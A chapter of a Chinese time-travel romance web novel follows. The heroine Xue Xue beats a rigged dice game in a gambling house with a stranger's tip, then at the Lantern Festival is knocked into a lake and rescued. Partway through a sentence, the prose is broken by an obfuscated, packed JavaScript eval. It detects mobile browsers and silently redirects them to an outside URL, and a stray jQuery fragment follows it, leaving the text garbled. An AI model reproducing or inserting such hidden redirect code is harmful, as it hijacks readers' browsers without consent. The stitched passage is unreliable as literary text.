薛雪和知画换了一身平民百姓的衣裳混入赌场之中。
钱庄内乌压压的挤满了各式各样的人,知画第一次来这种地方,她小心翼翼地跟在薛雪后头问道:“小姐,你怎会知道这种地方的?”
薛雪回过头看了她一眼,“那一日我们从如意酒馆出来之后,我无意中看见黎二祖进了这钱庄,知画,这钱庄可有其他的玄妙之处?”
“小姐,这钱庄是王家开的,王家是夫人的娘家,这安庆钱庄正是夫人的阿弟王重华所开的。”
薛雪看了眼赌桌上的纸钱,出手阔绰的富商已经押上了五百两的纸币,赌桌周围围着一干众人,她找了个空子给挤了进去,这楚国的赌场玩的还是现代那一套的简易版本,居于赌场中央的店家小二手里拿着个黑不溜秋的正方形玩意,周围之人都叫这个东西名为“置子”。
小二将那“置子”给扔进一个空心的四方盒子中,再倒于赌桌上的中央,根据“置子”上的点数和上一场的点数进行比较。若是第二轮客人能够猜出这掷出的点数比上一轮是大还是小,便赢了此局;若是猜错了,便输于与你一同下押注的那人;平手的话就只能继续第三轮。
等看懂这规则之后,薛雪便退出了被团团包围住的人群。
知画看着自家小姐出来后一直在到处张望着,她问了一嘴,“小姐,你这是在找谁呀?”
薛雪脱口而出,“黎二祖。”
“啊!小姐,你找那个纨绔子弟干嘛?”
薛雪挑了一下眉眼,晦意不明的说道:“那自然只能是找他麻烦了。”
果然不过片刻,薛雪便找到了居于赌场一角的黎二祖,她走上前去,从衣兜里掏出面额为一百两的纸币丢上了赌桌。桌上众人不约而同的都朝着她递来目光,或许是打扮太过寒酸,赌场上的店家小二抬眼看了她一眼,之后便认真摇起“置子”来。
黎二祖今天的手气不错,正全身心的投入在“置子”上,因此他并未看见薛雪的容貌。
小二快速摇动着手中的方盒子,赌桌上的众人直盯着“置子”上的数字,薛雪的数字不高不低正为四,黎二祖的数字为七。第二轮胜负局,利用着数学中的概率事件,薛雪快速的计算着第二轮数字比第一轮大又或是小的概率,最后她选了小,黎二祖也选了小。
方盒子一开,“置子”从里落出,薛雪这次的点数为三,黎二祖为九,薛雪赢了这局。
她不仅赢了黎二祖的那一百两,也保住了自己手中的一百两。
黎二祖骂了一口脏话,再次抬起眼眸看了一眼居于赌桌中央小二,那小二便趁着众人不注意之时偷偷调换了另外一个深红色的方形盒子。
俩人的嘴角都勾着他人未曾察觉的笑容,黎二祖这次加大了押注,他掏出了五百两纸币。
薛雪跟了上去,她把刚才的那赚的一百两和本金押上了桌。
第一局,薛雪的数字为五,黎二祖的数字为三。
场面来到了第二局,知画站于薛雪旁屏息敛声的听着方形盒子中的“置子”在与内壁碰撞出的声响,薛雪的大脑同样也在快速计算着概率,她目光炽热的盯着赌桌一角。
虽说依靠概率事件得出的结论能有很大的胜算,但终不是百分之百的。
黎二祖赌了小,众人望着另一旁的薛雪,正当她想说出心中的答案之时,耳边却突然传来一阵微风。
寂静中,她听见耳旁有一男子小声的说了一句:“他们在盒子内做了手脚,这局你最好是选大。”
薛雪微微偏过头看去,却见浓墨色的眉头下点缀着一双清澈明镜似的双眼,眼型略有似缺月时的那一轮弯弯的明月,眼角下点着一颗泪痣。
她看着这人,心底涌上一丝说不清的感觉,这种感觉太过于熟悉,熟悉到薛雪竟也脱口而出:“我选大。”
小二把“置子”丢弃于赌桌中央,“置子”在众人的目光下停在了数字六,这一局薛雪又赢了。
知画站于一旁欢呼着,薛雪见那男子也跟着笑了起来,双唇上扬着,连带着发冠圈住的发丝也在密封的环境下随风飘动。
俩人双目直视着对方眼中的自己,薛雪先低下了头,她问道:“这位公子你怎会知道其中有猫腻?”
“当局者迷,旁观者清。你方才一心沉溺于此,方不知这店家的小二同那黎二祖偷偷动了手脚。”
薛雪醒悟过来,说道:“那我便谢过这位公子的提醒了。”
李遇舟甩着手里的玉佩走了出去,“不用谢,只是这种鱼龙混杂的地方以后还是少来得好。”
一旁的知画从喜悦中清醒了过来,她看着自家小姐一直朝着另一个方向望去,便问道:“小姐,你在看什么呢?”
“知画,我们走吧,我想我应该是找到他了。”
知画一脸疑惑的问着:“小姐,你说的到底是谁呀?”
“不告诉你。”薛雪欢喜着说道,如果没有猜错的话,刚才那个行为僭越的公子哥便是历史上的骆宾王——李遇舟了。
李遇舟出了安庆钱庄的大门,董必独自带着他那娇贵的鹦鹉站于大门一角。
董必见他手中拿着几张银票,便满心雀跃着说道:“阿舟,我就知道没有你不能赢的赌局!”说完之后,他上手抢着李遇舟手里那几张刚新鲜出炉的银票,李遇舟换了一只手把纸币举得高出了董必一个头来。
“我问你,这年头平常良家的女子也能随意进出赌场了吗?”
见他这般认真的神情,董必玩笑着说道:“咋了,刚才在钱庄又遇到了哪位美如天仙的女子了?”
董必眼见那银币在李遇舟手里越举越高的姿态,他立马软了下去,急忙道:“怎么可能,平常良家的女子都在养蚕织布的,哪有这么多的闲暇时刻来干这事。我的好阿舟,你快把银子给我还账去吧,要是被那王重华这个龟孙得知了,我肯定会被我爹乱棍打死的。”
从李遇舟手里抢到银子的董必立马跑进钱庄里头去了,只剩下三皇子一人站在原地笑着说:“还挺有意思的。”
景和七年的上元佳节在不知不觉中却已悄然接近,薛府里的奴仆上下忙碌起来,院中的积雪正在一点一滴的融化成水。对于整个楚国人来说上元佳节是他们一年中最为重要的节日,京城自是最为繁华的地带,平常做点小本买卖的商家也会在自己的小摊上张灯结彩着挂着各式各样的灯笼。
京城西边十里一条街到处洋溢着节日的热闹气息,薛雪换上了一身青绿色的棉袍带着知画出来逛着好不热闹的集市。
平日卖糖葫芦和各式小人样式的小摊位此刻早已挤满了看着年纪不大的小孩子们,如意酒馆今夜也在外头摆起了摊位来,但大多数是让客人来猜谜语获得奖品,薛雪看了看这些谜语,顿觉得古人真是把诗歌文化给玩出了新的高度,这边虽热闹但她实在是没那个能力去猜出其中的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515848|203189||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谜语。
对边有一户商人正在吆喝着:“各位官人小姐们,可以看看我们做的莲花水灯呀!把这莲花水灯投入浔阳湖中将会确保愿望成真的!”
“知画,你说这水莲灯真的有这种能力吗?”薛雪望着那一排排挂在货架上的水莲灯,问知画道。
知画犹豫了一会,“这天下众人皆有自己的七情六欲,投水莲灯也是表达自己心中所想形式的一种。”
“那我们也去买一个吧,待会将它投入浔阳湖中。”
薛雪朝着那小摊位走去,花了二十文钱买了做工最为精细的两个,把其中的一个递给了知画。
上元节夜晚下的浔阳湖全不似平常那般冷寂,随着风波微微飘荡的湖面上映照着各色的灯笼,湖边站了不少才子佳人们正在作词猜曲,远处偶尔还传来几声细腻悠长的古筝声,清冷的古筝搭配着绵延的箫声好不似一场交响乐!
浔阳湖边种了许多杨柳树,遭受多日寒雪摧残的树丫正在奋力的冒出它崭新的嫩绿的小芽来,薛雪走向了人数最为居多的投放水莲灯的位置。
她仔细地抱着怀中的水莲灯蹲在了湖边,看着波澜壮阔的湖面却突然有种时间横跨千年的错觉。
水莲灯一入水就犹如湖中嬉戏打闹的水鸭一样,身轻矫健的朝着湖的中央缓慢驶去。
薛雪望着它慢慢驶去的细微灯光,许下了她因一场意外而来到这个世界的第一个愿望。
正当她准备离开之时,湖边停留的一艘乌黑小棚船里却传来一阵细微的声响。薛雪左右瞧了瞧,这附近投放水莲灯的人算得上是人数居多的,她觉得自己此刻不应该再多管闲事,但奈何腿却实在是定在了地面上,怎么使唤都没用。
她怕是哪家的女子被人给轻薄去了,因此便也顾不得其他。
青绿色的棉袍随着主人跨步的动作而在空中犹如荷花舒展开花瓣那样盛开着,薛雪一脚登上了那艘乌黑的小船,看见的却不是哪家良家子女被轻薄的场景,反而是...
——一位身形背影姣好的男子正在月色下抬手穿衣的优美场景,轻薄的轻纱质地的衣料被月光一照而透出那精瘦的背部肌肉来,乌黑如瀑布飞流而下的长发垂及腰间,薛雪看着那男子流利的下颚线和微微皱起的眉头。
她轻微的咽了咽口水,还未成反应过来,却被那男子跃起而来朝着胸口的一掌给击入湖中。
冬日的浔阳湖水冰冷刺骨,薛雪不会游泳,周身的温度骤然下降,她觉得自己正朝着湖底的方向下沉着,难道又要死去了吗?在意识消失之前,薛雪如此想着。
正当万念俱灰之时,平静的湖面跳入一个身影,她看着刚才给她一掌的那男子正奋力朝着自己的位置游来。
相距一米的距离,薛雪终是忍不住闭起了双眼。
她做了一个很长很长的梦。
梦中好像有什么柔软的生物正在吸食着她口中的空气,她奋力挣扎着,不曾想对方却越来越得寸进尺,一点一滴的吸食着她口中的空气,当她想下嘴咬住对方之时,那活物却退了出去。
然后她隐隐约约好像听见了知画的叫喊还有一个人轻声的喊着:“薛雪,薛雪,你醒醒。”
那个声音很熟悉,但她就是如何都睁不了双眼。
重新睁开双眼之后,她看到的却是知画正拿着药勺在轻轻的搅动药罐里头的药水。
她拉扯着嗓子喊了一声:“知画。”